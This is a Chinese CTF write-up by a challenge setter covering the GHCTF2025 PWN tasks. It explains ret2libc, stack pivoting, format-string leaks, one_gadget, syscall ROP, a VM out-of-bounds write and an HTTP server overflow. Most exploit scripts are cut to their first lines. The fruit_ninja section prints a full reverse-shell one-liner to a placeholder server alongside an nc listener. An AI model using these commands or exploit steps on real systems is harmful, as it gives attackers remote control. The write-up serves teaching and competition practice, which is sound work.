GHCTF2025-PWN方向wp
写在前面
- 这次是我第一次出题,没什么经验,大部分题目都是对着一些比较经典的题目改的,QAQ。(还偷偷赛了题国际赛题)
- 这次出题感受还是挺深的,还是要多尝试一点东西。接下来就直接开始
wp
环节
Hello_World
- 考点:
ret2text
、PIE保护
、Linux内存分页机制
、off-by-one
- 这题并不用爆破最后一个字节,题目已经设定好了。接下来我们来具体分析一下这个附件
1 |
|
Hello_World_分析1
- 拿到附件后肯定是先要
check
一下这个附件开启了什么保护机制。check
完后我们发现这个程序没有开启canary
保护,但是开启了PIE
保护
- 接下来我们使用
IDA pro
反汇编一下这个代码,我们发现main
函数这边只执行了3
个函数,第一个init
就不分析了,对输入输出进行初始化
- 然后我们再来分析一下
out()
这个函数,发现并没有什么特别的,仅仅是几个输出函数
- 现在来查看
func1
这个函数,发现这边会存在一个栈溢出的漏洞
- 我们还注意到,这边还有一个函数名为
backdoor
的函数
- 查看该函数会发现确实是一个后门函数
- 由于程序开启了
PIE
保护,我们无法完全确定程序的地址,所以我们IDA pro
反编译完,backdoor
的这个函数地址是这样的 - 如果我们将
PIE
关闭后,在64
位下程序会地址会为0x400000
,在32
为下程序地址为0x08048000
(可以随便找两个对应靶场题目附件反编译看看) - 但是由于内存分页机制,程序地址最后
3
个16
进制位是不会改变的Linux
下一个内存页为0x1000
即(4KB)
- 而我们调用
func1
这个函数时,保存的返回地址其实是main
函数汇编中对应的这个汇编指令
- 这时我们发现第
3
个二进制位他们是相同的。
Hello_World_分析2
- 这时我们来进行动态调试,我们查看一下返回地址,我们发现调用
func1
时,保存在栈上的返回地址为0x555eb72009f6
- 我们再来查看
backdoor
这个函数的起始地址,这个函数的起始地址为0x555eb72009c1
(我们多次动态调试会发现其实返回地址
和backdoor
函数的起始地址其实就只有最后一个字节是不同的
)
- 这里要注意一下:如果
backdoor
和返回地址的第三个16进制位
不同这时就要需要爆破,因为我们使用read
的时候是一个字节一个字节写入到栈上,而一个字节是2
个16进制位。我们再修改第3
个16进制位的时候会修改到第4
个16进制位。这时由于我们不知道第4
个16进制位具体是多少,返回的时候就不知道返回到哪个地方了,所以如果遇到这种情况的话就需要进行爆破了。
Hello_World_exp
- exp如下:
1 | from pwn import * |
ret2libc1
-
考点:
ret2libc
、栈溢出
、代码审计
。 -
这题其实就是
ret2libc
,这题并不是那种简单的一眼栈溢出的,可能还要稍微逆一下。遇到这种题不要害怕,认真逆。(走出做太多简单直白的ret2libc
题目这个舒适区,同时也为堆的代码逆向做铺垫。) -
这题源码如下:
1 |
|
ret2libc1_分析1
- 拿到附件后老样子,还是先来
check
一下保护机制。发现没有开启canary
和pie
- 现在我们就来使用
IDA pro
对该程序进行反编译,先来查看一下main
函数。这里main
函数主要的执行逻辑就3
点概括- 先输入输出初始化
- 进入循环,打印菜单,并且要用户输入选项
- 之后通过
switch
语句执行对应的选项。
- 然后我们查看菜单
menu()
,这个函数结合main()
函数中的switch
语句进行分析。这时我们发现:- 菜单中只有
6
个选项,而main()
函数中却有7
个选项,并且第7
个选项还是see_it
- 这时就会想到
see_it()
这个函数可能会有点问题
- 菜单中只有
- 接下来我们还是逐个函数进行分析,先来分析
flower()
这个函数,我们将这个函数分为四个部分进行解读- 这就是模拟商店买花的一个函数
- 首先我们要确定买哪一种花,然后确定买多少朵这种花
- 之后我们就会根据我们所买花的种类进入相应的
case
,然后扣除相应的money
- 在这里
money
是一个全局变量,保存在bss
段上
- 接下来我们查看
books()
这个函数的逻辑也和flower()
这个函数也一样- 也就是选择我们要买的书的种类和个数
- 然后进入对应的
case
语句 - 执行对应的判断语句以及扣钱
- 然后我们来查看
hell_money
- 这个函数主要执行的就是使用
money
对换hell_money
,1money=1000hell_money
- 并且会对
hell_money
统计,将得到的hell_money
的总数保存在全局变量中what_can_I_say
- 这个函数主要执行的就是使用
- 来看
clothing()
这个函数- 这个函数实现的就是购买衣服
- 购买后就会扣除相应的钱
- 现在来查看
shop()
函数- 这个函数就是让我们购买这一整个商店
- 买完这个商店后就可以对这个商店进行命名
- 注意这边就存在一个栈溢出的漏洞
- 所以我们要想办法把
money
增加到大于100000
- 在来查看
see_it()
- 这边的话我们可以使用
hell_money
来换取money
- 只要我们有足够的
hell_money
就可以换取足够的money
,从而可以买下整个shop
给shop
命名 - 然后我们就可以进行栈溢出,
ret2libc
利用
- 这边的话我们可以使用
- 这里我们再来查看一下全局变量和
data
段,会发现我们一开始的what_can_I_say
变量的值为?
,然后moeny
一开始的值为0x3e8
- 所以我们本题的思路就是不断用
money
购买holl_money
然后用holl_money
购买money
使得money
能购买整个商店,然后ret2libc
- 这题就不动态调试了
ret2libc1_exp
- exp如下:
1 | from pwn import * |
ret2libc2
-
考点:
ret2libc
、栈迁移
、字符串格式化漏洞
,ogg
、在libc找rop
-
本题其实使用
system("/bin/sh")
或者ogg
都可以打得出来,在使用system("/bin/sh")
的时候可能需要稍微调整一下栈的距离 -
这题感觉是出的最有问题的一题,虽然考点比较多,给出的
ogg
本意是想让新生们了解一下ogg
这个东西,为以后打堆的时候劫持hook
的学习打下铺垫,这题还可以让新生知道,libc
中也可以找rop
链 -
源代码如下:
1 |
|
ret2libc2_分析1
- 我们来
check
一下这个附件,发现并没有开启PIE
保护也没有开启Canary
保护
- 接下来使用
IDA pro
对附件进行反编译,查看一下代码,先来查看一下main
函数,main
函数会调用init
函数对输入输出进行初始化 - 然后就调用
func
函数
- 接下来我们就来分析
func()
函数- 这个函数首先会输出
hello world!
,注意这里存在一个格式化字符的漏洞 - 但是在
printf
输出format
的内容之前,并没有read
,并不能修改format
的内容 - 我们先接下去看,这时我们看到这边存在一个栈溢出,并且很重要的一点就是我们我们read写入
buf
的地址比format
的地址更低 - 所以我们在溢出
buf
的时候,我们同时也可以改写format
的内容
- 这个函数首先会输出
- 接下来我们查看一下这个函数的汇编形式,我们可以注意到,在调用
read
函数后有一个lea rax,[rbp+buf]
这个地址。这时我们溢出的时候就可以对这个rax
进行一些利用
- 这时我们再查看这个程序的
rop
链,发现这个程序并没有我们想要的gadget
- 所以我们就只能找别的方式利用栈溢出漏洞和字符串格式化漏洞。由于没有开启
PIE
,我们就可以先将这个程序返回到mov rdi,rax
这个指令,我们就可以再次使用printf
函数输出format
的内容,而这次输出的format
内容我们就不会输出hello world!
。而是我们read()
,溢出的一部分内容。 - 所以我们使用
read
在format
这个地址中读入%n$p
,这样我们就可以泄露指定地址
ret2libc2_分析2
- 接下来我们就可以动态调试查看一下调用
printf
时,确定偏移量,泄露栈上的libc地址。 - 这边可以泄露
__libc_start_call_main+128
的地址,这时我们可以确定偏移地址0x7+0x9-1=0xF
(这个是错误的)注意并不能通过现在rsp指针指向的位置算出偏移,我们因为我们是修改返回地址,再调用printf
函数泄露地址,但是在我们ret
之前,我们执行了leave
这个汇编代码,改变了rsp
的值,所以我们真正确定偏移的时候应该是在执行leave
语句后再确定偏移 - 但是这个地址需要我们反编译
libc.so
文件,所以我在泄露的时候并不是泄露这个地址
- 我们接下去查看,会发现这边还可以泄露另一个
libc
的地址,即__libc_start_main+128
,我们选用这个地址,这样可以使用pwntools
自带的一些函数快速寻找到偏移
- 现在我们来真正确定偏移,我们才能计算出真正的偏移
__libc_start_call_main+128
:0x2+0x6-0x1=0x7
__libc_start_main+128
:0x16+0x6-0x1=0x1B
- 这边我们泄露了地址后,我们就可以对地址接收,然后得到
libc
的地址。 - 这里还需要注意一点在第一次进行栈溢出操作的时候需要进行栈迁移操作,否则第二次程序在执行
ret
之前又会执行一次,leave
操作 - 如果我们在栈溢出时随便填写
rbp
指向地址里面的内容就会出现一个问题,第一次leave
后rbp
跑到了不存在的内存地址。第二次leave
时就会出现段错误 - 在第二次溢出的时候,还会执行一次
leave
,这时的rbp
指向的位置,也不能随便覆盖一个值,也需要覆盖一个可读可写的地址
-
为什么栈迁移这边有做详细分析关于PWN中的疑问 | iyheart的博客
-
这里在栈迁移的时候还需要注意几点:
- 栈迁移时最好不要迁移到
.bss
段开头的位置,否则之后在执行system("/bin/sh")
时会将栈地址降低,这时栈地址跑到了不能可读可写的段上去了。 - 我们在栈迁移的时候最好就是迁移到
.bss
段偏高一点的地方。
- 栈迁移时最好不要迁移到
-
泄露之后就是正常的
ret2libc
去打了,这里其实system("/bin/sh")
也可以打的出来,栈迁移时,迁移到的.bss
段地址再高一点就不会报错 -
而我这边使用
onegadget
进行打,首先我们需要使用到one_gadget
这个插件,之后我们使用如下命令,这时我们的窗口就会输出onegadget
,我们来具体介绍一下这些东西 -
当我们泄露libc地址后计算出
ogg
的偏移,跳转执行ogg
,如果我们的寄存器满足这些条件,那么我们就可以getshell
1 | one_gadget ./libc.so.6 |
- 这里我选用的是倒数第二个,这时我们还要构造一个
rop
链,将rax
设置为0
,由于我们前面栈迁移(第二次栈迁移)会将rbp
指针保持在可读可写的bss
段中,所以rbp-0x48
可写是没问题的。 - 当我们
rbp
处于bss段地址比较高的地方,rbp-0x70
这个地址保存的值一般都是0
,所以[rbp-0x70]=NULL
也满足。 - 然后我们再使用
pop rax
将rax
设置为0
就没问题了
ret2libc2_exp
- exp如下:
1 | from pwn import * |
你真会布栈吗?
- 考点:
syscall
、布置rop链
- 这题的打的思路比较多,所以这边就多给几个exp
- 还有一件事,这题是塞的国际赛题,所以没源码
你真会布栈吗?_分析
- 按照流程,先
check
一下,发现这个程序的保护机制全部没开。
- 这里我们来分析一下这个程序的运行逻辑,我们发现这个程序只有
_start函数
和print
函数
- 我们一开始运行程序的时候会先运行
_start
这个函数,这个函数就相当于main
函数,然后我们具体查看一下_start
这个函数- 这个函数执行的逻辑其实就是,进行三次输出
- 然后将用户可以输入内容到栈上,可以写入
0x60
字节到栈上 - 之后会返回到
rsp
指向的地址处
- 这时我们再来查看一下
print
函数- 除了实现主要的输出功能外
- 我们还发现存在
xchg rax,r13
,这个指令就是交换rax
和r13
这两个寄存器的值 - 最后就是返回
- 接下来我们查看一下其他的
.text
段会发现有给gadgets
- 接下来我们运行一下这个程序,发现这个程序在这边会输出乱码,接下来我们动调和接收一下
你真会布栈吗?思路1_利用xchg rax,r13和栈地址
- 如果知道栈上的地址,我们就可以直接写
/bin/sh
到栈上,然后计算好偏移即可。这时我们可以直接syscall 59
。 - 所以我们就直接调用
gadget
进行布置栈,布置到这里gadget
就算是利用完成了,这里我们还要注意,jmp到gadgets
后rsp
这个栈帧并没有增加,所以我们将程序jmp
到gadgets
的pop_r15
这边,这样就可以让rsp
指针先增大0x8
,接下来才开始真正的布置栈
- 接下来我们看执行完
xchg
后会执行什么,发现执行xchg
后会执行,jmp [rsp]
,这时我们还可以继续布置栈
- 这时我们的寄存器已经是满足了,现在我们就来满足
rdi
的值为/bin/sh
这个字符串的地址,由于我们的栈地址已知。我们这个时候就能将/bin/sh
写入到栈上,这时我们就可以这样布置栈
- 这时我们可以计算偏移得到
/bin/sh
这个字符串的地址与我们接收到栈地址的偏移。接下来我们查看是否能打出来,这边发现已经能执行execve
了,但是我们注意到envp
这边还有点问题,导致我们execve
无法正常调用
- 所以就会出现系统调用失败
- 这时我们就要利用
gadgets
对rdx
这个寄存器清零操作
-
这时我们发现这个程序在异或完还会
jmp r15
,所以我们是不是能先将r15
的值赋值成syscall_addr
(第一次调用syscall那个地址主要的目的是指向交换两个寄存器的值,此时由于syscall传递的参数不符合,syscall会调用失败。)并且之后执行完xchg后我们就跳转到xor rdx,rdx
,这时我们发现r15
还指向syscall
的地址 -
所以修改一下布置的栈,修改后栈布置如下:
- 动调算到的偏移,为程序泄露出来的栈地址
leak_addr+0x28
1 | from pwn import * |
你真会布栈吗?思路2_只利用xchg rax,r13
- 这个就是单纯的布置栈了。这个我就不写了(写得好累)
- 直接贴exp:
1 | from pwn import * |
my_vm
-
主要考点就是:
vm_pwn
、固定指令设计
、越界读写
-
这题就是
[OGeek2019 Final]OVM
这题改编的,已经改编的比较有好了。原题在动调的时候会比较麻烦,并且越界读写计算偏移比较麻烦。 -
修改的源码如下,现在就放出我修改的源码:
1 |
|
前置知识
-
对于
vm_pwn
的这类题目,其实有涉及到一点计算机组成原理的设计操作码
的技术。在计算机组成原理中,我们可以采用固定操作码的技术,也可以采用扩展操作码
的技术。 -
这里我们稍微介绍一下固定操作码和拓展操作码。以我们常用的
64
位计算机为例子。 -
在
x64
架构下,我们的处理器一次能处理8
字节的数据,我们在设计二进制操作码的时候可以这么设计。- 我们可以固定最高
16
位(也就是49-64
位)表示要执行的指令,比如mov
、sub
、add
这些指令 - 而我们而我们还可以分别设计
33-48
位表示目的寄存器的编号,17-32
位表示源寄存器的编号,1-16
位也还可以表示源寄存器的编号。 - 这时我们的固定指令三寄存器操作就设计完成了。就像题目
gift
中所给出的这样(虽然题目的是32位的操作码) - 固定指令操作码:本质上就是指令固定长度,即我们固定
49-64
位这边16字节
就表示操作码。不管是二寄存器操作还是一寄存器操作
- 我们可以固定最高
-
扩展操作码:在我们执行三寄存器指令的时候,我们也使用
49-64
位表示指令,但是我们要留1
位标志位,表示程序执行的操作码是二指令操作码。- 例如下图,我们选取第
49
位作为标志位,这时当标志位为0
时执行的是3
寄存器操作,这是49-64
位表示指令(包含了标志位) - 而当我们标志位为
1
时,我们执行的是2
寄存器操作,这时我们33-64
(包含了标志位)表示的就是指令并且表示2
寄存器操作的指令,这时我们指令由原来的最高16
位表示,拓展成了最高32
位程序表示
- 例如下图,我们选取第
my_vm_分析1
- 按照流程我们先来
check
一下保护机制。发现并没有开启PIE
保护
-
现在我们来反编译这个程序,查看一下这个程序的具体运行逻辑
-
我们先来查看
main
函数,我们按顺序分析这个程序- 首先会
funcptr
是一个函数指针,它指向了my_print
这个函数,并且使用init
对输入输出进行初始化 - 然后程序会让用户输入
SP
和IP
,并且将用户输入的值放入sp
和ip
寄存器中。并检查用户输入的初始化值是否合法 - 之后程序会让用户输入程序要执行的指令数。然后进入循环,执行两个函数
- 最后调用
funcptr
这个函数指针指向的函数
- 首先会
- 接下来我们查看一下
fetch()
这个函数,发现就是一个取memory[ip]
的值,并且将ip
自增,然后返回取出来的值
- 接下来查看一下
execute()
这个函数,这个函数会将前面取出来的memory[ip]
指令作为参数传递 - 这里我们一开始并不知道
HIBYTE(a1)
的值,此时我们就要查看汇编理解一下,我们先看到v5
存储在rbp-8
这个栈地址中 - 通过汇编我们可以看到
v5
存储的是a1
的最高8
位,之后通过伪c代码就可以看到v2
存储的值是a1
的第17-20
位v3
存储的值是a1
的第9-12
位v4
存储的值是a1
的第1-4
位
- 我们接下去查看,我们会发现当
v5
即(a1
的最高8
位为特定的值时,会执行特定的类似于汇编指令)就像图中v5=0x50
,则会执行reg[v2]=reg[v3]-reg[v4]
,也就是执行sub
指令v5=0x70
,则会执行reg[v2]=reg[v3]>>reg[v4]
,也就执行shr
指令- 这时我们就可以知道,变量
v2
、v3
、v4
就代表着寄存器的编号。
- 这时我们通过逆向,可以归纳出剩下的指令,而该函数模拟的指令如下,这时我们还注意到
reg
这个数组是int
类型,而不是unsigned
类型
1 | 0x10 reg[v2] = imm; mov imm |
- 我们在函数这块还注意到有一个
后门函数
- 我们现在来查看一下
.bss
段的全局变量,这时我们发现funcptr
就在memory
相邻低地址处
- 我们还注意到有
reg
这个数组
- 还注意到
stack
my_vm分析2
-
这时我们可以确定漏洞点,就是利用
memory[reg[v2]]
这个指令进行负索引,从而修改funcptr
这个指针为backdoor()
这个函数的地址。 -
接下来我们就来构造一个负索引,我们先初始化
sp=0
、ip=0x1000
-
首先我们需要构造寄存器的值为负值。一开始我们的各个寄存器都为
0
,我们先通过mov imm
操作,将这个寄存器0、1、2
赋值为8、4、20
1 | reg[0]=8 |
- 之后我们通过
0x80
左移操作,将寄存器r1
设置为0x400000
,即:r1=r1 << r2
(r1 = 4 << 20
) - 然后通过
0x10
这个操作将0x877
赋值给r3
- 最后通过
0x40
这个操作(add
)将r1
的值变为0x400877
,这就是backdoor
的地址,这一步操作就是为越界读写修改函数指针做准备
1 | reg[0]=8 |
-
之后我们要构造负索引,这时我们就用
0x50
,sub
指令,使r4-r0
,这时我们就得到了负值。 -
最后我们再通过
0x90
存指令,直接就可以实现越界读写,使得函数指针指向backdoor
-
至于负索引要索引到多少,就需要动调去计算偏移了。
my_vm_exp
- exp如下:
1 | from pwn import * |
fruit_ninja
-
还没写完,先看看这篇博客
前置知识
- 需要理解
Linux
系统编程中的创建线程函数
:参考这篇博客:Linux系统编程1 | iyheart的博客 - 需要理解
Linux
网络编程中的一些函数:这里直接问AI
吧 - 需要了解一下
Http
协议。HTTP 消息结构 | 菜鸟教程、HTTP 请求方法 | 菜鸟教程 - 注意:请求方法这边只要看
get
方法和Post
方法即可 - 反弹shell
- 这里也简单介绍一下相关知识吧。
反弹shell
- 什么是反弹shell,一般pwn都是我们攻击者去连接目标主机,而反弹shell是目标主机主动去连接攻击者的主机,并将执行权限给攻击者
- 反弹shell的前提:需要一个具有公网ip的服务器(IPv4)
- 在一般的情况下,pwn了目标主机,直接就
getshell
了,这时我们就可以直接cat flag
目标主机就会将flag的内容发送给我们,但是在需要反弹shell的情况,当我们getshell之后,我们可以对目标主机执行命令,但是接收不到目标执行完命令后的内容。这就导致我们无法得到flag的内容,这时就是要反弹shell - 反弹shell有几个办法,我们就先介绍一个办法吧:
- 需要一个具有公网ip的服务器,假设其ip为
1.1.1.1
。 - 我们先指定开放该服务器的端口
2333
,输入指令为nc -lvp 2333
或nc -n -lvp 2333
- 然后我们getshell了目标靶机,这时我们就执行命令
bash -i >& /dev/tcp/1.1.1.1/2333 0>&1
- 这样目标靶机就连接上了我们的服务器,并且在我们服务器这边具有执行目标靶机目录的权限,也可以看到执行后的结果,这时我们就可以得到flag
- 需要一个具有公网ip的服务器,假设其ip为
fruit_ninja_分析
- 题目来源:[GHCTF 2024 新生赛]Fruit Ninja | NSSCTF
- 题目附件:https://wwsq.lanzoue.com/inbAS2atudaf 密码:ffor
- 拿到附件先看看附件内容,发现文件
httpd
是一个二进制文件 - 然后
www
目录下的是web页面相关的前后端
- 查看一下保护,发现保护全开
- 接下来我们反编译一下该程序,先查看
main
函数,我们先理清楚一下main
函数的执行过程
1 | 程序先从main函数开始 |
- 然后我们主要是仔细分析一下
accept_request
这个函数,这个函数首先会传递一个参数过来,这个参数是文件描述符,这个文件描述符就是用于处理服务器
和客户端
交互的。
- 这里我们先了解一下
HTTP
请求报文使用GET
方法和POST
方法大概的模版。- 我们可以看到
GET
方法传递的参数就跟在它后面即/1.php
- 而
POST
方法传递的参数是在最后那一行,并且比起GET
方法POST
方法还多了两行Content-Length
、Content-Type
- 而
Content-Length
后面跟的数字表明我们最后一行传递的参数一共有多少个字节
- 我们可以看到
1 | # 这是GET方法的http报文 |
- 接下来我们分析一下
accept_request
函数,这个函数先会接收第一行http
请求报文,然后判断是不是GET
或者POST
方法,如果是GET
或者POST
方法就继续处理数据。 - 如果是
GET
方法,就会获取相应的web
目录
- 该协议会先处理
GET、POST
参数,参数正确则会将一下web页面等从服务器发送到客户端中- 这里在发送
web
页面之前还会检查我们请求路径的合法性,s
这个字符串数组保存的就是web
页面的路径 - 经过一些列检查后,如果检查都过了就会执行
execute_cgi(a1,s,s1,j)
这个函数,我们介绍一下这个函数传递的参数 a1
:是代表客户端的远程描述符,用于服务器与客户端交互s
:服务器web
页面的路径s1
:接收的请求头(即http
报文第一行)j
:接收的参数个数
- 这里在发送
- 这里注意:如果请求的路径不合法这里就会发送
HTTP
响应报文比如HTTP/1.0 404 NOT FOUND
1 | 404 NOT FOUND\r\n |
- 接下来我们查看一下函数
execute_cgi
具体的执行流程,我们先查看一下这个函数的局部变量
- 然后我们再查看一下函数具体执行逻辑,我们先会将
文件路径
复制给dest
- 这个函数会根据
GET
或者POST
方法选择处理报文的方式,这里我们重点就来看POST
方法- 如果是
POST
方法就会接收并处理Content-Length
、Authorization: Basic
- 并且会调用
GdecBase64
函数对Authorization: Basic
后面紧跟着的内容进行Base64
解码,将解码后的结果存储在V18
这里 - 注意在这里就会有一个栈溢出的漏洞了
- 之后会对
v18
的开头进行检查,检查是否为pwner
,如果v18
的开头不是pwner
程序就会出问题
- 如果是
- 我们会将
Base64
解码之前的数据存放在v21
这边,然后解码之后会存放在v18
这边,但是v21
这边存储的字节比v18
这边多很多,所以这边我们就可以通过溢出,有机会溢出到dest
这个数组
- 之后我们再看一下之后的程序逻辑,检查完
pwner
后,正常情况下程序都会执行到execl()
这边,而这里就相当于execve
,只不过只不过这个时候我们远程交互用的文件描述符是4
,而不是标准输出流。所以命令执行的结果并不会显示到我们的平面中,这时我们getshell
之后就需要反弹shell
- 所以思路就是通过
Authorization: Basic
后面跟着的内容去构造栈溢出,并且使用\x00
绕过strcmp(v18, "pwner")
这个检查 - 之后我们就可以
getshell
,getshell
后就可以反弹shell了。这个构造栈溢出的偏移量自己手动算算就出来了。
fruit_ninja_exp
- exp如下:
1 | from pwn import * |
my_v8
my_v8
这题要写的内容太多了,就先挖个坑吧,来日方长,慢慢填。
my_v8_exp
- 这里就先附上
exp
:
1 | // ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××× |